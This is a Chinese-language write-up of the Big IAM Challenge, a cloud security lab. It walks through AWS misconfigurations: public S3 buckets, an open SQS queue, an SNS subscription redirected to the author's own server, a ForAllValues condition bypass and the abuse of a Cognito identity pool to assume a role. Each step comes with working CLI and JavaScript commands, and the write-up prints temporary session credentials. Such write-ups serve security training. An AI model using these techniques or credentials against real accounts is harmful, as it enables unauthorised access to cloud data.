前言
入门级靶场
靶场地址:https://bigiamchallenge.com/challenge/1
参考:
https://wiki.teamssix.com/cloudservice/iam/the_big_iam_challenge_writeup.html
https://pswalia2u.medium.com/bigiamchallenge-aws-iam-challenges-ded45cb983f2
Buckets of Fun
policy:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*"
},
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:ListBucket",
"Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",
"Condition": {
"StringLike": {
"s3:prefix": "files/*"
}
}
}
]
}
从策略里可以看到,这个桶对所有人有公开列对象和公开读取的权限
那么直接访问这个 bucket:https://thebigiamchallenge-storage-9979f4b.s3.amazonaws.com
可以看到 bucket 中的 key,访问这个 key 即可得到 flag
flag: {wiz:exposed-storage-risky-as-usual}
也可以使用 aws-cli 来获取
aws s3 ls s3://thebigiamchallenge-storage-9979f4b/files/ --no-sign-request
aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt /tmp/ --no-sign-request
Google Analytics
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": [
"sqs:SendMessage",
"sqs:ReceiveMessage"
],
"Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"
}
]
}
这个 Policy 授予了所有人拥有这个 SQS 队列的发送、接收消息的权限。
那么这里尝试 receive message,调用接口,Queue URL 由 policy 可知 Account ID 和 Queue,组成 /092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2
直接在 challenge 提供的 aws-cli 这里执行命令,本地的话还需要配置 profile
aws sqs receive-message --queue-url http://queue.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2
响应中出现了一个 url 地址,访问得到 flag:{wiz:you-are-at-the-front-of-the-queue}
Enable Push Notifications
{
"Version": "2008-10-17",
"Id": "Statement1",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",
"Condition": {
"StringLike": {
"sns:Endpoint": "*@tbic.wiz.io"
}
}
}
]
}
这个 Policy 允许 Endpoint 结尾是 @tbic.wiz.io
的人拥有这个 SNS 服务的 Subscribe 权限
那么很明显我们不能用邮箱进行订阅,不过 http 协议也是支持 url 中出现 @
且不影响 host 解析的,于是在自己的 vps 上起个 nc
aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol http --notification-endpoint http://vps:23333/@tbic.wiz.io
另一边收到请求
复制这里的 token ,认证订阅
aws sns confirm-subscription --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --token 2336412f37fb687f5d51e6e2425a8a587855b1e0f1dd023310f0af6326f154b97ce60ee6b9cea0c2c555b3bc8622783c342f235a4266eb8c6965d53ff3c85fa188ee34fa175142477130823c9274b4899d18742dc383fc342e8537237c91820886843dd1a88c0070fef17e3133b7ee3c0553f983edf108ab1fa48f370b1e0ca8
但是我这里 aws-cli 报错了没成功,采用另外一种办法,直接访问 SubscribeURL,继续监听端口,过会就会接到 message 了
flag:{wiz:always-suspect-asterisks}
Admin only?
policy:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"
},
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:ListBucket",
"Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",
"Condition": {
"StringLike": {
"s3:prefix": "files/*"
},
"ForAllValues:StringLike": {
"aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"
}
}
}
]
}
依旧是 s3 存储桶,思路还是找到 flag 的 key,然后访问地址即可
但是这里的 Condition 对列对象做了限制,只对 arn:aws:iam::133713371337:user/admin
主体授予了 ListBucket 权限
注意这里的 ForAllValues,官方文档:https://docs.aws.amazon.com/zh_cn/IAM/latest/UserGuide/reference_policies_condition_examples-multi-valued-context-keys.html
如果请求中没有上下文键,
ForAllValues
集合运算符也会返回 true。
所以不要使用带有 Allow 效果的 ForAllValues,因为这样可能会过于宽容,建议使用 ForAnyValue,空值时会返回 false
如果我们把请求中的 aws:PrincipalArn 置空,这里就会返回 True,那么就可以绕过了
在 aws-cli 中,置空 aws:PrincipalArn 的方法是带上 --no-sign-request
参数
aws s3api list-objects --bucket thebigiamchallenge-admin-storage-abf1321 --prefix 'files/' --no-sign-request
那么我们就列出存储桶里的对象了,直接访问 flag 即可:https://thebigiamchallenge-admin-storage-abf1321.s3.amazonaws.com/files/flag-as-admin.txt
flag:{wiz:principal-arn-is-not-what-you-think}
在使用命令行操作的时候,因为默认会带上自己 AWS CLI 上所配置的身份信息,所以这里我们需要加上 --no-sign-request
去绕过,但我们使用浏览器访问的时候,其实本身就不包含身份信息的,所以这里有个更简单的做法,就是直接使用浏览器访问,然后加上前缀就行了。
Do I know you?
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": [
"mobileanalytics:PutEvents",
"cognito-sync:*"
],
"Resource": "*"
},
{
"Sid": "VisualEditor1",
"Effect": "Allow",
"Action": [
"s3:GetObject",
"s3:ListBucket"
],
"Resource": [
"arn:aws:s3:::wiz-privatefiles",
"arn:aws:s3:::wiz-privatefiles/*"
]
}
]
}
这里可以得知和 cognito 有关
在 challenge 页面的 html 源码中找到相关的 sdk 配置:
<script src="https://sdk.amazonaws.com/js/aws-sdk-2.719.0.min.js"></script>
<script>
AWS.config.region = 'us-east-1';
AWS.config.credentials = new AWS.CognitoIdentityCredentials({IdentityPoolId: "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"});
// Set the region
AWS.config.update({region: 'us-east-1'});
$(document).ready(function() {
var s3 = new AWS.S3();
params = {
Bucket: 'wiz-privatefiles',
Key: 'cognito1.png',
Expires: 60 * 60
}
signedUrl = s3.getSignedUrl('getObject', params, function (err, url) {
$('#signedImg').attr('src', url);
});
});
</script>
于是找到了身份池 id,接下来就按照官方文档给的方法结合 ai 写个 javascript 获取临时凭证并访问 s3
<!DOCTYPE html>
<html>
<head>
<title>Cognito JavaScript SDK Example</title>
<script src="https://sdk.amazonaws.com/js/aws-sdk-2.719.0.min.js"></script>
</head>
<body>
<script>
AWS.config.region = 'us-east-1';
AWS.config.credentials = new AWS.CognitoIdentityCredentials({
IdentityPoolId: 'us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b',
});
// Set the region
AWS.config.credentials.get(function(err) {
if (!err) {
var accessKeyId = AWS.config.credentials.accessKeyId;
var secretAccessKey = AWS.config.credentials.secretAccessKey;
var sessionToken = AWS.config.credentials.sessionToken;
// 进行后续操作,如访问S3
accessS3(accessKeyId, secretAccessKey, sessionToken);
} else {
// 凭证获取失败
console.error('Error retrieving credentials: ' + err);
}
});
// 使用临时凭证访问S3
function accessS3(accessKeyId, secretAccessKey, sessionToken) {
var s3 = new AWS.S3({
accessKeyId: accessKeyId,
secretAccessKey: secretAccessKey,
sessionToken: sessionToken,
});
var params = {
Bucket: 'wiz-privatefiles',
};
s3.getSignedUrl('listObjectsV2', params, function(err, data) {
if (!err) {
// S3存储桶列表获取成功
console.log(data);
} else {
// S3存储桶列表获取失败
console.error('Error listing S3 buckets: ' + err);
}
});
}
</script>
</body>
</html>
浏览器打开这个 html,查看控制台输出
访问这个网址即可
成功列出 s3 列表,flag 在 flag1.txt
接下来修改 params 和操作,改为读取对象
var params = {
Bucket: 'wiz-privatefiles',
Key: 'flag1.txt',
};
s3.getSignedUrl('getObject', params, function(err, data) {
if (!err) {
// S3存储桶列表获取成功
console.log(data);
} else {
// S3存储桶列表获取失败
console.error('Error listing S3 buckets: ' + err);
}
});
同样的操作得到 flag:{wiz:incognito-is-always-suspicious}
One final push
题目给了 arn:arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role
policy:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "cognito-identity.amazonaws.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"cognito-identity.amazonaws.com:aud": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
}
}
}
]
}
此处开启了 sts:AssumeRoleWithWebIdentity
,是身份验证,也就是说不能匿名访问了
那么我们需要获取 sts,那么就需要填 aws sts assume-role-with-web-identity
的三个参数
主要还是 web-identity-token,先用身份池 ID 获取身份 ID
aws cognito-identity get-id --identity-pool-id us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b
然后使用这个身份 ID 获取 Token
aws cognito-identity get-open-id-token --identity-id us-east-1:157d6171-eef6-c763-d034-39cd202b0ada
有了这个 token 就可以生成 sts 了
aws sts assume-role-with-web-identity \
--role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role \
--role-session-name 0w0 \
--web-identity-token eyJraWQiOiJ1cy1lYXN0LTEtOCIsInR5cCI6IkpXUyIsImFsZyI6IlJTNTEyIn0.eyJzdWIiOiJ1cy1lYXN0LTE6MTU3ZDYxNzEtZWVmNi1jNzYzLWQwMzQtMzljZDIwMmIwYWRhIiwiYXVkIjoidXMtZWFzdC0xOmI3M2NiMmQyLTBkMDAtNGU3Ny04ZTgwLWY5OWQ5YzEzZGEzYiIsImFtciI6WyJ1bmF1dGhlbnRpY2F0ZWQiXSwiaXNzIjoiaHR0cHM6Ly9jb2duaXRvLWlkZW50aXR5LmFtYXpvbmF3cy5jb20iLCJleHAiOjE3NTY0ODU2MjgsImlhdCI6MTc1NjQ4NTAyOH0.VVEI_jlpw2tk-Z7Au5IApbzhlWusbnprGZZE6D2WjDpXK0tc9Bz6onz1T64covdE0rggOLf1tGzjSu-bVSzh_1LECTtFXfsErNgIYYDASIM-iFjq2PFKqRr7QZpuP5Un9qrlVnU1mw-2E0xFzZSpwg4z9qzJBH7dKjRPwTqKh5WM0190SfoV1b3rgrfharFEae5ZhidktTRSRdFCGXEnoJgNj5YY3K3o7UNUASwLtVKM0jP5w4GMRSHHQWVE0KWzie15Iw_c5FfzH3dd8fZCs1SazMH7lzCyboP1rdLBC3TGNQFQH6i22sfV2d5_i1Sre7qAbt9fyfXzUX8YhymEPg
{
"Credentials": {
"AccessKeyId": "ASIARK7LBOHXFMEAHZU5",
"SecretAccessKey": "5ghLVu/IXeL2BMHoO7JiO1CJT33P+E/YHqBNfmsw",
"SessionToken": "FwoGZXIvYXdzEHoaDAsvsdJ4DMgQXNjY2SKbAl8kj1ScB/bpurTCdzzLxDoSI8XF9GVuLwje6bFIhiLUP6G+fXbfgu1Ql6+F79ghzcUsI/0m2iSQUKj0nHBSgHfIvhcfvCcmHPZsm0Nww97/+LpSfDgrCDvpkf+ypQK4okxRMoD/f74tOONH6tP4Brgt/hRv+xc/qM4IxlFklZaQPsFbGB8vx47NzVSS63U0Qoah5HxW9UaDmO+0mOJWUghjsHELj2QKzCtY6uZuqQD2LhWhzI43C9KGMZ26IjDD70Y/JM0efohLscVh5CE6VQOy/D72FHk6AEiIIO+Y+j4YuuYUIDw3ZPWbwuEaaNApD3RiBYqZ26Zt+G3d6+ii9cdcaWFip8WuAaASlgIKRQCLVhnxIsgzme0dpA8o+a7HxQYylgF+93pBvO0F78WlPCmwy2O1cCnFZUzXf6umF25GEqgo7wKh6BaTGo1jXbvgnpp9Rej1wRQo1Ol/niomudEvg1MgGOMRz2iesbQTv2pHG38Fi+nf4XMev/5dPEDA4vSEJynPg1C8RMuoyr+VVPapuluujlRYhoaklsJcer/Dco41ucTcUhV4qjIENRlAqQ59Fcke1WM5C1Q=",
"Expiration": "2025-08-29T17:38:17Z"
},
"SubjectFromWebIdentityToken": "us-east-1:157d6171-eef6-c763-d034-39cd202b0ada",
"AssumedRoleUser": {
"AssumedRoleId": "AROARK7LBOHXASFTNOIZG:0w0",
"Arn": "arn:aws:sts::092297851374:assumed-role/Cognito_s3accessAuth_Role/0w0"
},
"Provider": "cognito-identity.amazonaws.com",
"Audience": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
}
拿到 AWS_ACCESS_KEY_ID
、AWS_SECRET_ACCESS_KEY
、AWS_SESSION_TOKEN
填入之前的 javascript sdk,其他部分不用动,只需要修改 accessS3
// 使用临时凭证访问S3
function accessS3(accessKeyId, secretAccessKey, sessionToken) {
var s3 = new AWS.S3({
accessKeyId: "ASIARK7LBOHXFMEAHZU5",
secretAccessKey: "5ghLVu/IXeL2BMHoO7JiO1CJT33P+E/YHqBNfmsw",
sessionToken: "FwoGZXIvYXdzEHoaDAsvsdJ4DMgQXNjY2SKbAl8kj1ScB/bpurTCdzzLxDoSI8XF9GVuLwje6bFIhiLUP6G+fXbfgu1Ql6+F79ghzcUsI/0m2iSQUKj0nHBSgHfIvhcfvCcmHPZsm0Nww97/+LpSfDgrCDvpkf+ypQK4okxRMoD/f74tOONH6tP4Brgt/hRv+xc/qM4IxlFklZaQPsFbGB8vx47NzVSS63U0Qoah5HxW9UaDmO+0mOJWUghjsHELj2QKzCtY6uZuqQD2LhWhzI43C9KGMZ26IjDD70Y/JM0efohLscVh5CE6VQOy/D72FHk6AEiIIO+Y+j4YuuYUIDw3ZPWbwuEaaNApD3RiBYqZ26Zt+G3d6+ii9cdcaWFip8WuAaASlgIKRQCLVhnxIsgzme0dpA8o+a7HxQYylgF+93pBvO0F78WlPCmwy2O1cCnFZUzXf6umF25GEqgo7wKh6BaTGo1jXbvgnpp9Rej1wRQo1Ol/niomudEvg1MgGOMRz2iesbQTv2pHG38Fi+nf4XMev/5dPEDA4vSEJynPg1C8RMuoyr+VVPapuluujlRYhoaklsJcer/Dco41ucTcUhV4qjIENRlAqQ59Fcke1WM5C1Q=",
});
var params = {
Bucket: 'wiz-privatefiles-x1000',
// Key: 'flag1.txt',
};
s3.getSignedUrl('listObjectsV2', params, function(err, data) {
if (!err) {
// S3存储桶列表获取成功
console.log(data);
} else {
// S3存储桶列表获取失败
console.error('Error listing S3 buckets: ' + err);
}
});
}
flag 在 flag2.txt,切换为 getObject 故技重施即可
得到 flag:{wiz:open-sesame-or-shell-i-say-openid}
当然也可以用 aws-cli 完成这些操作
export AWS_ACCESS_KEY_ID=ASIARK7LBOHXFMEAHZU5
export AWS_SECRET_ACCESS_KEY=5ghLVu/IXeL2BMHoO7JiO1CJT33P+E/YHqBNfmsw
export AWS_SESSION_TOKEN=FwoGZXIvYXdzEHoaDAsvsdJ4DMgQXNjY2SKbAl8kj1ScB/bpurTCdzzLxDoSI8XF9GVuLwje6bFIhiLUP6G+fXbfgu1Ql6+F79ghzcUsI/0m2iSQUKj0nHBSgHfIvhcfvCcmHPZsm0Nww97/+LpSfDgrCDvpkf+ypQK4okxRMoD/f74tOONH6tP4Brgt/hRv+xc/qM4IxlFklZaQPsFbGB8vx47NzVSS63U0Qoah5HxW9UaDmO+0mOJWUghjsHELj2QKzCtY6uZuqQD2LhWhzI43C9KGMZ26IjDD70Y/JM0efohLscVh5CE6VQOy/D72FHk6AEiIIO+Y+j4YuuYUIDw3ZPWbwuEaaNApD3RiBYqZ26Zt+G3d6+ii9cdcaWFip8WuAaASlgIKRQCLVhnxIsgzme0dpA8o+a7HxQYylgF+93pBvO0F78WlPCmwy2O1cCnFZUzXf6umF25GEqgo7wKh6BaTGo1jXbvgnpp9Rej1wRQo1Ol/niomudEvg1MgGOMRz2iesbQTv2pHG38Fi+nf4XMev/5dPEDA4vSEJynPg1C8RMuoyr+VVPapuluujlRYhoaklsJcer/Dco41ucTcUhV4qjIENRlAqQ59Fcke1WM5C1Q=
aws s3 ls
aws s3api get-object --bucket wiz-privatefiles-x1000 --key flag2.txt flag2.txt
总结一下就是在拿到身份池 ID 以及所对应的角色 ARN 时就可以获取对应角色的权限